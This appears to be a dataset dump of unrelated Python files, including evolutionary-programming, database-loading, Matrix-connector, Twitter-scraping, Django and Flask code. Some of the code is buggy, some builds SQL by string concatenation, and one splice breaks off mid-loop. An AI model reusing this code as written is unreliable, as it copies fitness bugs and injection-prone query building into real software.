http://www.cleveralgorithms.com/nature-inspired/evolution/evolutionary_programming.html#\n\"Fast Evolutionary Programming\"\n\"\"\"\n#----------- Evolutive Programming -----------------\n\"\"\"\nMutates a random gene from the offspring\nchanging it to a random value between -1 and 1\n\"\"\"\ndef mutation2(hemafrodite):\n\n gene = np.random.random_integers(0, len(hemafrodite)-1)\n random_value = np.random.uniform(0, 1.0, 1)\n\n new_mutation = hemafrodite\n new_mutation[gene] = random_value\n return new_mutation\n\ndef mutation(hemafrodite,mut):\n new_mutation = []\n\n r1 = (math.sqrt(((2*len(hemafrodite)))))**-1\n r2 = (math.sqrt(math.sqrt(((4*len(hemafrodite))))))**-1\n #print(r1, r2)\n for gene in hemafrodite:\n o = mut * np.exp((r1*random.gauss(0, 1))+ (r2*random.gauss(0, 1)))\n new_gene = gene + (o * random.gauss(0, 1))\n if new_gene > 0:\n gene = new_gene\n new_mutation.append(gene)\n return new_mutation\n\ndef selectBest(union,populationSize,wins_idx):\n union = np.array(union)\n best = union[wins_idx]\n best = best[0:populationSize]\n\n return best\n\"\"\"\nFunction compares two cromossomes to check which has these has best fitness, returns the cromossome and the fitness\nParam: \n\"\"\"\ndef best(best_child,best_child_ft,best_child_model,best_solution,best_solution_ft,best_solution_model):\n if best_child_ft > best_solution_ft:\n best_ft = best_child_ft\n best = best_child\n best_model = best_child_model\n else:\n best_ft = best_solution_ft\n best = best_solution\n best_model = best_solution_model\n return best, best_ft,best_model\n\ndef ep(population,x_train, y_train,x_validate, y_validate, x_test, y_test):\n mut = 0.3\n num_genertions = 50\n all_fitness,all_models = ft.calculate_pop_ft(population, x_train, y_train, x_validate, y_validate)\n max_fitness_idx = np.where(all_fitness == np.max(all_fitness))\n max_fitness_idx = max_fitness_idx[0][0]\n\n best_solution = population[max_fitness_idx]\n best_solution_ft = all_fitness[max_fitness_idx]\n best_solution_model = all_models[max_fitness_idx]\n boutsize = 3\n si_wins = 0\n\n for i in range(num_genertions):\n children = []\n for parent in population:\n child = mutation(parent,mut)\n children.append(child)\n\n\n children_ft, children_models = ft.calculate_pop_ft(children, x_train, y_train, x_validate, y_validate)\n max_fitness_idx = np.where(all_fitness == np.max(all_fitness))\n max_fitness_idx = max_fitness_idx[0][0]\n\n best_child = population[max_fitness_idx]\n best_child_ft = all_fitness[max_fitness_idx]\n best_child_model = all_fitness[max_fitness_idx]\n\n best_solution, best_solution_ft, best_solution_model = best(best_child,best_child_ft,best_child_model,best_solution,best_solution_ft,best_solution_model)\n\n union = np.concatenate((population,children))\n union = union.tolist()\n fitness = np.concatenate((all_fitness,children_ft))\n fitness = fitness.tolist()\n #models = np.concatenate(all_models,children_models)\n #models = models.tolist()\n wins_idx = []\n for si in union:\n idx_si = union.index(si)\n for l in range(boutsize):\n sj = random.choice(union)\n idx_sj = union.index(sj)\n if(fitness[idx_si] > fitness[idx_sj]):\n si_wins += 1\n else:\n actual_idx_sj = idx_sj\n if si_wins > 1:\n wins_idx.append(idx_si)\n else:\n wins_idx.append(actual_idx_sj)\n population = selectBest(union,len(population),wins_idx)\n best_accu = ft.fitness_best(best_solution,best_solution_model,x_test,y_test)\n #print(best_accu)\n return best_accu\n\n\"\"\"\npop_size = (5,3)\npopulation = np.random.uniform(low=-1.0, high=1.0, size=pop_size)\n#print(\"population\")\n#print(population)\naccu = ep(population,0,0,0,0)\nprint(accu)\n\"\"\"","sub_path":"EC_P04/ep_evo.py","file_name":"ep_evo.py","file_ext":"py","file_size_in_byte":4161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"454228470","text":"import idigbio\nimport json\nimport TableSchemaCreator\nfrom DBInfo import connectDB\n\n'''Program that populates pre-existing database table in a PostgreSQL DB\n with data from an idigbio query, this module is used after the TableSchemaCreator.py\n script on the same idigbio query data to complete the process of inputting the\n data into the database.\n'''\n\ndef populateTable(result, table_name):\n '''Function that takes idigbio query in dictionary format as argument variable \"result\"\n and inputs data contained within it into a database table, table name is passed\n to function as argument. Goes through each record in the query, extracts its\n field names & values, then builds them into an insert command, and finally\n executes the command.\n '''\n #Connect to database using DBInfo.py script (Database defined in this script)\n connection = connectDB()\n #Initialize cursor (psycopg2 connection object attribute)\n cursor = connection.cursor()\n \n #Iterate through records in query\n for record in result[\"items\"]:\n #Insert command base string\n insert_base = \"INSERT INTO \" + table_name + \" \"\n \n #Command string of list of keys (table field names) to be inserted into database\n insert_keys = \"(\"\n #Command string of list of values (table field values) to be inserted into database\n insert_values = \"(\"\n \n #Create a list of key-value pair tuples from query data\n keys_values = list(record[\"indexTerms\"].items())\n \n #For each pair, append to appropriate command list string \n for i in range(0, len(keys_values)):\n #Data key, same as database field name\n key = keys_values[i][0]\n \n #Convert values to string format, indexData & geopoint dictionaries stored as json string\n if key == \"indexData\":\n value = json.dumps(keys_values[i][1])\n elif key == \"geopoint\":\n value = json.dumps(keys_values[i][1])\n else:\n value = str(keys_values[i][1])\n \n #Replacing single quotes with double single quotes to escape them\n #in query command (avoid mismatching single quotes)\n value = value.replace(\"'\", \"''\")\n \n #Standardize dates (eliminate timezone & time)\n if key == \"datecollected\" or key == \"datemodified\":\n value = value[:10]\n \n #If last entry, leave seperating comma out\n if i == (len(keys_values) - 1):\n insert_keys += \"\\\"\" + key + \"\\\")\"\n insert_values += \"'\" + value + \"')\"\n else:\n insert_keys += \"\\\"\" + key + \"\\\", \"\n insert_values += \"'\" + value + \"', \"\n \n #Build entire command from command strings \n insert_command = insert_base + insert_keys + \" VALUES \" + insert_values\n \n #Attempt to execute command in database\n try:\n cursor.execute(insert_command)\n #If command fails, rollback the query and omit given record\n except connection.DataError as e:\n connection.rollback()\n print(\"There was an error inputting data of record \" + record[\"indexTerms\"][\"uuid\"])\n print(\"Reason: Field value length out of range. Ommitting record.\\n\")\n continue\n \n #Commit record to database\n connection.commit()\n \n #Move on to next record\n \n #At this point all records have been processed and inserted into DB \n print(\"Database table \" + table_name + \" has been populated successfully.\")\n \n #Operations with DB complete, commit changes & close conenction to server\n cursor.close()\n connection.close()\n \n\ndef main():\n '''Main function for testing purposes only\n '''\n #Initialize idigbio API\n api = idigbio.json()\n \n #Define query dictionary\n rq = {\"genus\":\"himantura\"}\n \n #Assign query results\n result = api.search_records(rq, limit=5000)\n \n table_name = \"stingrays\"\n \n #Use query results to create database table with all needed fields\n TableSchemaCreator.createSchema(result, table_name)\n \n #Populate database table with values in query\n populateTable(result, table_name)\n \n \nif __name__ == \"__main__\":\n main()","sub_path":"APIPrototype/TableCreator.py","file_name":"TableCreator.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"28693028","text":"#Función random.uniform\nfrom random import uniform\ndef rand2d():\n x=uniform(-0.5, 0.5)\n y=uniform(-0.5, 0.5)\n return x, y\n\n#Inicializamos variables\nN = int(input(\"Ingrese N: \"))\ni=0\nn=0\nx, y = rand2d()\n\n\n#Comienza el ciclo\nwhile i

around standard messages that we want to\n # strip:\n if message.startswith(\"

\"):\n message = message[3:]\n if message.endswith(\"

\"):\n message = message[:-4]\n\n clean_html = clean(message)\n\n return {\n # Strip out any tags from the markdown to make the body\n \"body\": body if body else re.sub(\"<[^<]+?>\", \"\", clean_html),\n \"msgtype\": msgtype,\n \"format\": \"org.matrix.custom.html\",\n \"formatted_body\": clean_html,\n }\n\n @register_event(events.Message)\n @ensure_room_id_and_send\n async def _send_message(self, message):\n \"\"\"Send `message.text` back to the chat service.\"\"\"\n return await self.connection.send_message_event(\n message.target,\n \"m.room.message\",\n self._get_formatted_message_body(\n message.text, msgtype=self.message_type(message.target)\n ),\n )\n\n @register_event(events.EditedMessage)\n @ensure_room_id_and_send\n async def _send_edit(self, message):\n if isinstance(message.linked_event, events.EditedMessage):\n # If we are attempting to edit an edit, move up the tree and then\n # try again.\n message.linked_event = message.linked_event.linked_event\n return self._send_edit(message)\n elif isinstance(message.linked_event, str):\n edited_event_id = message.linked_event\n else:\n edited_event_id = message.linked_event.event_id\n\n new_content = self._get_formatted_message_body(\n message.text, msgtype=self.message_type(message.target)\n )\n\n content = {\n \"msgtype\": self.message_type(message.target),\n \"m.new_content\": new_content,\n \"body\": f\"* {new_content['body']}\",\n \"m.relates_to\": {\"rel_type\": \"m.replace\", \"event_id\": edited_event_id},\n }\n\n return (\n await self.connection.send_message_event(\n message.target, \"m.room.message\", content\n ),\n )\n\n @register_event(events.Reply)\n @ensure_room_id_and_send\n async def _send_reply(self, reply):\n if isinstance(reply.linked_event, str):\n reply_event_id = reply.linked_event\n else:\n reply_event_id = reply.linked_event.event_id\n\n # TODO: Insert reply fallback here\n content = self._get_formatted_message_body(\n reply.text, msgtype=self.message_type(reply.target)\n )\n\n content[\"m.relates_to\"] = {\"m.in_reply_to\": {\"event_id\": reply_event_id}}\n\n return (\n await self.connection.send_message_event(\n reply.target, \"m.room.message\", content\n ),\n )\n\n @register_event(events.Reaction)\n @ensure_room_id_and_send\n async def _send_reaction(self, reaction):\n content = {\n \"m.relates_to\": {\n \"rel_type\": \"m.annotation\",\n \"event_id\": reaction.linked_event.event_id,\n \"key\": reaction.emoji,\n }\n }\n return await self.connection.send_message_event(\n reaction.target, \"m.reaction\", content\n )\n\n async def _get_image_info(self, image):\n width, height = await image.get_dimensions()\n return {\n \"w\": width,\n \"h\": height,\n \"mimetype\": await image.get_mimetype(),\n \"size\": len(await image.get_file_bytes()),\n }\n\n async def _file_to_mxc_url(self, file_event):\n \"\"\"Given a file event return the mxc url.\"\"\"\n uploaded = False\n mxc_url = None\n if file_event.url:\n url = urlparse(file_event.url)\n if url.scheme == \"mxc\":\n mxc_url = file_event.url\n\n if not mxc_url:\n mxc_url = await self.connection.media_upload(\n await file_event.get_file_bytes(), await file_event.get_mimetype()\n )\n\n mxc_url = mxc_url[\"content_uri\"]\n uploaded = True\n\n return mxc_url, uploaded\n\n @register_event(events.File)\n @register_event(events.Image)\n @ensure_room_id_and_send\n async def _send_file(self, file_event):\n mxc_url, uploaded = await self._file_to_mxc_url(file_event)\n\n if isinstance(file_event, events.Image):\n if uploaded:\n extra_info = await self._get_image_info(file_event)\n else:\n extra_info = {}\n msg_type = \"m.image\"\n else:\n extra_info = {}\n msg_type = \"m.file\"\n\n name = file_event.name or \"opsdroid_upload\"\n await self.connection.send_content(\n file_event.target, mxc_url, name, msg_type, extra_info\n )\n\n @register_event(events.NewRoom)\n @ensure_room_id_and_send\n async def _send_room_creation(self, creation_event):\n params = creation_event.room_params\n params = params.get(\"matrix\", params)\n response = await self.connection.create_room(**params)\n room_id = response[\"room_id\"]\n if creation_event.name is not None:\n await self._send_room_name_set(\n events.RoomName(creation_event.name, target=room_id)\n )\n return room_id\n\n @register_event(events.RoomName)\n @ensure_room_id_and_send\n async def _send_room_name_set(self, name_event):\n return await self.connection.set_room_name(name_event.target, name_event.name)\n\n @register_event(events.RoomAddress)\n @ensure_room_id_and_send\n async def _send_room_address(self, address_event):\n try:\n return await self.connection.set_room_alias(\n address_event.target, address_event.address\n )\n except MatrixRequestError as err:\n if err.code == 409:\n _LOGGER.warning(\n f\"A room with the alias {address_event.address} already exists.\"\n )\n\n @register_event(events.JoinRoom)\n @ensure_room_id_and_send\n async def _send_join_room(self, join_event):\n return await self.connection.join_room(join_event.target)\n\n @register_event(events.UserInvite)\n @ensure_room_id_and_send\n async def _send_user_invitation(self, invite_event):\n try:\n return await self.connection.invite_user(\n invite_event.target, invite_event.user_id\n )\n except MatrixRequestError as err:\n content = json.loads(err.content)\n if err.code == 403 and \"is already in the room\" in content[\"error\"]:\n _LOGGER.info(\n f\"{invite_event.user_id} is already in the room, ignoring.\"\n )\n\n @register_event(events.RoomDescription)\n @ensure_room_id_and_send\n async def _send_room_desciption(self, desc_event):\n return await self.connection.set_room_topic(\n desc_event.target, desc_event.description\n )\n\n @register_event(events.RoomImage)\n @ensure_room_id_and_send\n async def _send_room_image(self, image_event):\n mxc_url, _ = await self._file_to_mxc_url(image_event.room_image)\n return await image_event.respond(matrixevents.MatrixRoomAvatar(mxc_url))\n\n @register_event(events.UserRole)\n @ensure_room_id_and_send\n async def _set_user_role(self, role_event):\n role = role_event.role\n room_id = role_event.target\n if isinstance(role, str) and role.lower() in [\"mod\", \"moderator\"]:\n power_level = 50\n elif isinstance(role, str) and role.lower() in [\"admin\", \"administrator\"]:\n power_level = 100\n else:\n try:\n power_level = int(role)\n except ValueError:\n raise ValueError(\"Role must be one of 'mod', 'admin', or an integer\")\n\n power_levels = await self.connection.get_power_levels(room_id)\n power_levels[\"users\"][role_event.user_id] = power_level\n\n return await role_event.respond(matrixevents.MatrixPowerLevels(power_levels))\n\n @register_event(matrixevents.MatrixStateEvent, include_subclasses=True)\n @ensure_room_id_and_send\n async def _send_state_event(self, state_event):\n _LOGGER.debug(f\"Sending State Event {state_event}\")\n return await self.connection.send_state_event(\n state_event.target,\n state_event.key,\n state_event.content,\n state_key=state_event.state_key,\n )\n","sub_path":"opsdroid/connector/matrix/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":17459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"471545342","text":"\"\"\"\nTime complexity: O(logN) = N is the number of elements\nSpace complexity:O(1) - No extra space used\n\nExplaination:\n1. base case - the peak element will be greater than its neighbours\n2. move towards the side where there is maximum element\n\n\"\"\"\n\n\nclass Solution:\n def findPeakElement(self, nums: List[int]) -> int:\n if nums == None or len(nums) == 0:\n return -1\n low = 0\n high = len(nums) - 1\n while (low <= high):\n mid = (low + high) // 2\n if (mid == 0 or nums[mid - 1] < nums[mid]) and (mid == len(nums) - 1 or nums[mid] > nums[mid + 1]):\n return mid\n elif mid > 0 and nums[mid - 1] > nums[mid]:\n high = mid - 1\n else:\n low = mid + 1\n return -1\n","sub_path":"peak_element.py","file_name":"peak_element.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"167955882","text":"import tweepy\nimport twitter_credentials as tc\nimport json\nauth = tweepy.OAuthHandler(tc.CONSUMER_KEY, tc.CONSUMER_SECRET)\nauth.set_access_token(tc.ACCESS_TOKEN, tc.ACCESS_TOKEN_SECRET)\n\napi = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n\nslug = 'Senators'\nowner = 'CSPAN'\n\ndef get_userinfo(name):\n\t# get all user data via a Tweepy API call\n\tuser = api.get_user(screen_name = name)\n\t# create row data as a list\n\t'''\n\tuser_info = [ name,\n\t\t\t\tuser.name,\n\t\t\t\tuser.description,\n\t\t\t\tuser.followers_count,\n\t\t\t\tuser.friends_count,\n\t\t\t\tuser.created_at,\n\t\t\t\tuser.location ]\n\t'''\n\tuser_info = {\n\t\t'name': name,\n\t\t'userName': user.name,\n\t\t'Description': user.description,\n\t\t'followersCount': user.followers_count,\n\t\t'friendsCount':user.friends_count,\n\t\t'CreatedAt':user.created_at,\n\t\t'Location':user.location\n\n\t}\n\t# send that one row back\n\treturn user_info\n\ndef get_all_tweet(name):\n\talltweets = []\t\n\t\n\t#make initial request for most recent tweets (200 is the maximum allowed count)\n\tnew_tweets = api.user_timeline(screen_name = name,count=200)\n\t\n\t#save most recent tweets\n\talltweets.extend(new_tweets)\n\t\n\t#save the id of the oldest tweet less one\n\toldest = alltweets[-1].id - 1\n\t\n\t#keep grabbing tweets until there are no tweets left to grab\n\twhile len(new_tweets) > 0:\n\t\tprint (\"getting tweets before %s\" % (oldest))\n\t\t\n\t\t#all subsiquent requests use the max_id param to prevent duplicates\n\t\tnew_tweets = api.user_timeline(screen_name = name,count=200,max_id=oldest)\n\t\t\n\t\t#save most recent tweets\n\t\talltweets.extend(new_tweets)\n\t\t\n\t\t#update the id of the oldest tweet less one\n\t\toldest = alltweets[-1].id - 1\n\t\t\n\t\tprint (\"...%s tweets downloaded so far\" % (len(alltweets)))\n\t\n\t#transform the tweepy tweets into a 2D array that will populate the csv\t\n\touttweets = {name: [{'time': tweet.created_at, 'text': tweet.text} for tweet in alltweets]}\n\treturn outtweets\n\n# Main\nif __name__ == '__main__':\n members = []\n # without this you only get the first 20 list members\n for page in tweepy.Cursor(api.list_members, owner, slug).items():\n members.append(page)\n memberlist = [ m.screen_name for m in members ]\n '''\n for name in memberlist:\n print(get_userinfo(name)[\"name\"])\n '''\n print(get_all_tweet(memberlist[0]))\n output = {}\n for member in memberlist:\n output[member] = get_all_tweet(member)[member]\n with open('twitTest.json', 'w') as outfile:\n json.dump(output, outfile, default=str)\n #print(members)\n","sub_path":"TestingFiles/twitterTest.py","file_name":"twitterTest.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"94784194","text":"import functools\nimport os\nfrom multiprocessing import Pool, Manager, cpu_count\nfrom datetime import datetime, date, timedelta\n\nimport numpy as np\nimport numpy.linalg as npl\nimport pandas as pd\nfrom sklearn.metrics import mean_squared_error, make_scorer\n\ndef mean_sqrt_error(ground_truth, predictions):\n return np.sqrt(mean_squared_error(ground_truth,predictions))\n\nmean_sqrt_error_scorer = make_scorer(mean_sqrt_error,greater_is_better=False)\n\ndef getMarsFiles(subfolder,ftype,basePath):\n import os\n marsPath = basePath+os.sep+subfolder+os.sep\n marsFiles = sorted(filter(lambda x: ftype in x and not x.startswith('.'), os.listdir(marsPath)))\n return [marsPath+f for f in marsFiles]\n\ndef getMarsData(marsFiles,indexColumn=0,ingoreIndex=False):\n return pd.concat([pd.read_csv(f,header=0,sep=',',index_col=indexColumn) for f in marsFiles],ignore_index=ingoreIndex)\n\ndef alignSamples(x,y):\n xy = pd.concat([x,y],axis=1)\n \n superIndices = [\"x\"]*x.shape[1]+[\"y\"]*y.shape[1]\n superIndices = [(j,i) for i,j in zip(list(x.columns.values)+list(y.columns.values),superIndices)]\n superIndex = pd.MultiIndex.from_tuples(superIndices)\n dfxy = pd.DataFrame(xy.values,columns=superIndex,index=xy.index)\n \n #yNotNulls = map(lambda x: x.all(), dfxy[\"y\"].notnull().values)\n #xNotNulls = map(lambda x: x.all(), dfxy[\"x\"].notnull().values)\n #nonNulls = np.array([xNotNulls]).transpose() & np.array([yNotNulls]).transpose()\n nonNulls = map(lambda x: x.all(), dfxy.notnull().values)\n return dfxy[\"x\"][nonNulls], dfxy[\"y\"][nonNulls], dfxy[nonNulls]\n\ndef getRoundedStartEndTime(startUt,endUt):\n roundTime = lambda x: 1000*((x-date(1970,1,1)).total_seconds())\n \n start = datetime.utcfromtimestamp(startUt/1000).date()\n end = (datetime.utcfromtimestamp(endUt/1000)+timedelta(1)).date()\n\n return roundTime(start), roundTime(end)\n\ndef reindexTime(startUt=1219363200000,endUt=1397433600000, newSamplePeriod=1*60):\n tDiff = (endUt-startUt)/1000\n nSamples = int(tDiff/newSamplePeriod)+1\n return np.vectorize(int)(np.linspace(startUt,endUt,nSamples))\n\n\ndef _resample(tpl):\n xnew, x, df, resampledData, column = tpl\n T = xnew[1]-xnew[0]\n m,n = (len(x), len(xnew))\n A = np.zeros((m,n))\n for i in range(0,m):\n A[i,:] = np.sinc((x[i] - xnew)/T)\n try:\n resampledData[column] = npl.lstsq(A,df[column])[0]\n except ValueError as ve:\n raise ve\n\n return 1\n\ndef sincResample(df, xnew, columns=[]):\n resampledData = dict()\n x = df.index\n if not columns:\n columns = df.columns.values\n\n pool = Pool(cpu_count())\n manager = Manager()\n resampledData = manager.dict()\n \n taskParams = [(xnew,x,df,resampledData,column) for column in columns]\n try: \n r = pool.map(_resample,taskParams)\n except ValueError as ve:\n return pd.DataFrame()\n\n pool.close()\n pool.join()\n\n return pd.DataFrame(data=dict(resampledData),index=xnew)\n\ndef epochGenerator(df,newIndex,epochSize=1,columns=[],skip=0):\n dfIndex = df.index\n epochSize = epochSize*24*3600*1000\n for epochStart in np.arange(newIndex[0]+skip*epochSize,newIndex[-1],epochSize):\n newEpochIndex = newIndex[(newIndex>=epochStart) & (newIndex=epochStart) & (dfIndex= 0:\n amount_to_pay = add_tax(PHONE_PRICE + ACCESSORIES_PRICE)\n\n if bank_balance - amount_to_pay >= 0 and amount_to_pay <= spending_threshold:\n bank_balance -= amount_to_pay\n number_of_phone_purchases += 1\n number_of_accessory_purchases += 1\n total_money_spent += amount_to_pay\n else: # Try without accessories\n amount_to_pay = add_tax(PHONE_PRICE)\n if bank_balance - amount_to_pay > 0 and amount_to_pay <= spending_threshold:\n bank_balance -= amount_to_pay\n number_of_phone_purchases += 1\n total_money_spent += amount_to_pay\n else:\n break\n\n\nprint('I was able to buy', number_of_phone_purchases, 'phones for you, along with', number_of_accessory_purchases,\n 'accessories.',\n '\\n\\nThe cost per phone was', convert_to_dollar_amount(PHONE_PRICE), 'plus',\n convert_to_dollar_amount(calculate_tax(PHONE_PRICE)), 'in sales tax.',\n '\\n\\nThe accessories came in at', convert_to_dollar_amount(ACCESSORIES_PRICE), 'plus',\n convert_to_dollar_amount(calculate_tax(ACCESSORIES_PRICE)), 'in sales tax, per phone.',\n '\\n\\nThe total cost was', convert_to_dollar_amount(total_money_spent), 'of which sales tax amounted to',\n convert_to_dollar_amount(total_money_spent*(1 - 1/(1 + TAX_RATE))) + '.',\n '\\n\\nYou have', convert_to_dollar_amount(bank_balance), 'left in the bank.')\n","sub_path":"You Don't Know JS-Course Exerc./BuyPhones.py","file_name":"BuyPhones.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"275307999","text":"from magneto import dbsettings\nfrom sqlalchemy import Column, DateTime, String, Integer, Float, \\\n ForeignKey, MetaData, create_engine\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\n\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm.session import sessionmaker\n\nclass DBConnector:\n def __init__(self):\n self.engine = create_engine('postgresql://{}:{}@{}:{}/{}'.format(dbsettings.read_user,\\\n dbsettings.read_user_passwd,dbsettings.host,\\\n dbsettings.port, dbsettings.db))\n Session = sessionmaker(bind=self.engine)\n self.session = Session()\n Base = automap_base()\n Base.prepare(self.engine, schema='magneto', reflect=True)\n self.Station = Base.classes.stations\n self.Measurement = Base.classes.measurements\n\n\n def close(self):\n self.session.close()\n","sub_path":"gmd-python/magneto_api/dbconnect.py","file_name":"dbconnect.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"355426200","text":"# -*- encoding: utf-8 -*-\n\nfrom .base import *\n\nDEBUG = False\nDEBUG_TOOLBAR = False\nSENDFILE_BACKEND = \"sendfile.backends.nginx\"\n\nSESSION_COOKIE_SECURE = False\nCSRF_COOKIE_SECURE = False\n\nCOMPRESS_ENABLED = not DEBUG\nCOMPRESS_OFFLINE = False\n\nTEMPLATES[0][\"OPTIONS\"][\"loaders\"] = [\n (\"django.template.loaders.cached.Loader\", TEMPLATES[0][\"OPTIONS\"][\"loaders\"])\n]\n\nHTML_MINIFY = True\n\nSESSION_ENGINE = \"django.contrib.sessions.backends.cache\"\n\nCACHES = {\n \"default\": {\n \"BACKEND\": \"redis_cache.RedisCache\",\n \"LOCATION\": [f\"{REDIS_HOST}:{REDIS_PORT}\",],\n \"OPTIONS\": {\n \"DB\": REDIS_DB_CACHE,\n \"PARSER_CLASS\": \"redis.connection.HiredisParser\",\n \"CONNECTION_POOL_CLASS\": \"redis.BlockingConnectionPool\",\n \"CONNECTION_POOL_CLASS_KWARGS\": {\"max_connections\": 50, \"timeout\": 20,},\n \"MAX_CONNECTIONS\": 1000,\n \"PICKLE_VERSION\": -1,\n },\n },\n}\n\nCACHE_MIDDLEWARE_SECONDS = 3600 * 24\n\nDATABASES[\"default\"][\"CONN_MAX_AGE\"] = None\n\nDATA_UPLOAD_MAX_MEMORY_SIZE = 2621440 * 3 # 7.5 MB\nDATA_UPLOAD_MAX_NUMBER_FIELDS = 4000\n","sub_path":"src/django_bpp/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"234795956","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated By Murray(m18527) on 2019/9/4 15:29\n\"\"\"\nimport logging\nimport os\nfrom logging.handlers import RotatingFileHandler\n\nDEBUG = str(os.getenv(\"DEBUG\", True)).lower() in ['true', 'yes', 'y', '1']\nLOG_PATH = os.getenv(\"LOG_FILE_PATH\", \"/var/log/\")\nLOG_FILE_NAME = os.getenv(\"LOG_FILE_NAME\", \"data_sync\")\n\nos.makedirs(LOG_PATH, exist_ok=True)\nlog_file = os.path.join(LOG_PATH, '{}.log'.format(LOG_FILE_NAME))\nLOG_LEVEL = logging.DEBUG if DEBUG else logging.WARNING\n\nconsole = logging.StreamHandler()\nconsole.setLevel(LOG_LEVEL)\n\nrotating_file_handler = RotatingFileHandler(log_file, maxBytes=1024 * 1024 * 10, backupCount=10, encoding='utf8')\nrotating_file_handler.setLevel(LOG_LEVEL)\n\nlogging.basicConfig(\n level=LOG_LEVEL,\n format='%(asctime)s.%(msecs)d - %(levelname)-8s - [%(pathname)s:%(lineno)d][%(funcName)s] - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n handlers=[rotating_file_handler, console]\n)\n","sub_path":"classcard_dataclient/utils/loggerutils.py","file_name":"loggerutils.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"49188112","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n # url(r'^$', views.index, name='index'),\n url(r'^debug/$', views.list_all, name='list_all'),\n #url(r'^title/$', views.title, name='title_page'),\n url(r'^title/$', views.Title_page.as_view(), name='title_page'),#transform this into a class\n # url(r'^pvs/$', views.pvs, name='pvs_page'),\n # url(r'^alerts/$', views.alerts, name='alerts_page'),\n \n url(r'^pvs_all/$', views.pvs_all.as_view(), name='pvs_page_all'),\n \n url(r'^alerts_all/$', views.alerts_all.as_view(), name='alerts_page_all'),\n \n url(r'^pv_detail/(?P\\d+)/$', views.pv_detail.as_view(), name='pv_detail'),\n url(r'^pv_create/$', views.pv_create.as_view(), name='pv_create'),\n \n url(r'^pv_detail/(?P\\d+)/delete/$', views.pv_delete.as_view(), name = 'pv_delete'),\n\n # url(r'^alert_detail/(?P\\d+)/$', views.alert_detail.as_view(), name='alert_detail'),\n url(r'^alert_detail/(?P\\d+)/$', views.alert_detail, name='alert_detail'),\n\n url(r'^alert_config/(?P\\d+)/$', views.alert_config, name='alert_config'),\n url(r'^alert_create/$', views.alert_config, name='alert_create'),\n url(r'^alert_delete/(?P\\d+)/$', views.alert_delete,name='alert_delete'),\n\n# url(r'^profile/$', views.profile, name='user_profile'),\n# url(r'^profile/edit/$', views.edit_profile, name='edit_profile'),\n# url(r'^profile/change_password/$', views.change_password, name='change_password'),\n \n]\n","sub_path":"web_interface/alert_config_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"169762253","text":"# -*- coding: utf-8 -*-\n\nimport json\n\nfrom flask import Flask, request\nfrom jinja2 import Environment\n\napp = Flask(__name__)\nenvironment = Environment()\n\n\ndef jsonfilter(value):\n return json.dumps(value)\n\n\nenvironment.filters[\"json\"] = jsonfilter\n\nwith open('time/clock.json', \"r\") as json_file:\n CLOCK = json.load(json_file)\n\nCLOCK[\"current_time\"][\"time_hour\"] = 0\nCLOCK[\"current_time\"][\"time_minute\"] = 0\nCLOCK[\"current_alarm\"][\"alarm_hour\"] = 0\nCLOCK[\"current_alarm\"][\"alarm_minute\"] = 0\nCLOCK[\"current_alarm\"][\"alarm_on\"] = False\nwith open('time/clock.json', \"w\") as json_file:\n json.dump(CLOCK, json_file)\n\n\ndef error_response(message):\n response_template = environment.from_string(\"\"\"\n {\n \"status\": \"error\",\n \"message\": {{message|json}},\n \"data\": {\n \"version\": \"1.0\"\n }\n }\n \"\"\")\n payload = response_template.render(message=message)\n response = app.response_class(response=payload,\n status=200,\n mimetype='application/json')\n return response\n\n\ndef query_response(value, grammar_entry):\n response_template = environment.from_string(\"\"\"\n {\n \"status\": \"success\",\n \"data\": {\n \"version\": \"1.1\",\n \"result\": [\n {\n \"value\": {{value|json}},\n \"confidence\": 1.0,\n \"grammar_entry\": {{grammar_entry|json}}\n }\n ]\n }\n }\n \"\"\")\n payload = response_template.render(value=value,\n grammar_entry=grammar_entry)\n response = app.response_class(response=payload,\n status=200,\n mimetype='application/json')\n return response\n\n\ndef multiple_query_response(results):\n response_template = environment.from_string(\"\"\"\n {\n \"status\": \"success\",\n \"data\": {\n \"version\": \"1.0\",\n \"result\": [\n {% for result in results %}\n {\n \"value\": {{result.value|json}},\n \"confidence\": 1.0,\n \"grammar_entry\": {{result.grammar_entry|json}}\n }{{\",\" if not loop.last}}\n {% endfor %}\n ]\n }\n }\n \"\"\")\n payload = response_template.render(results=results)\n response = app.response_class(\n response=payload,\n status=200,\n mimetype='application/json'\n )\n return response\n\n\n@app.route(\"/dummy_query_response\", methods=['POST'])\ndef dummy_query_response():\n response_template = environment.from_string(\"\"\"\n {\n \"status\": \"success\",\n \"data\": {\n \"version\": \"1.1\",\n \"result\": [\n {\n \"value\": \"dummy\",\n \"confidence\": 1.0,\n \"grammar_entry\": null\n }\n ]\n }\n }\n \"\"\")\n payload = response_template.render()\n response = app.response_class(response=payload,\n status=200,\n mimetype='application/json')\n return 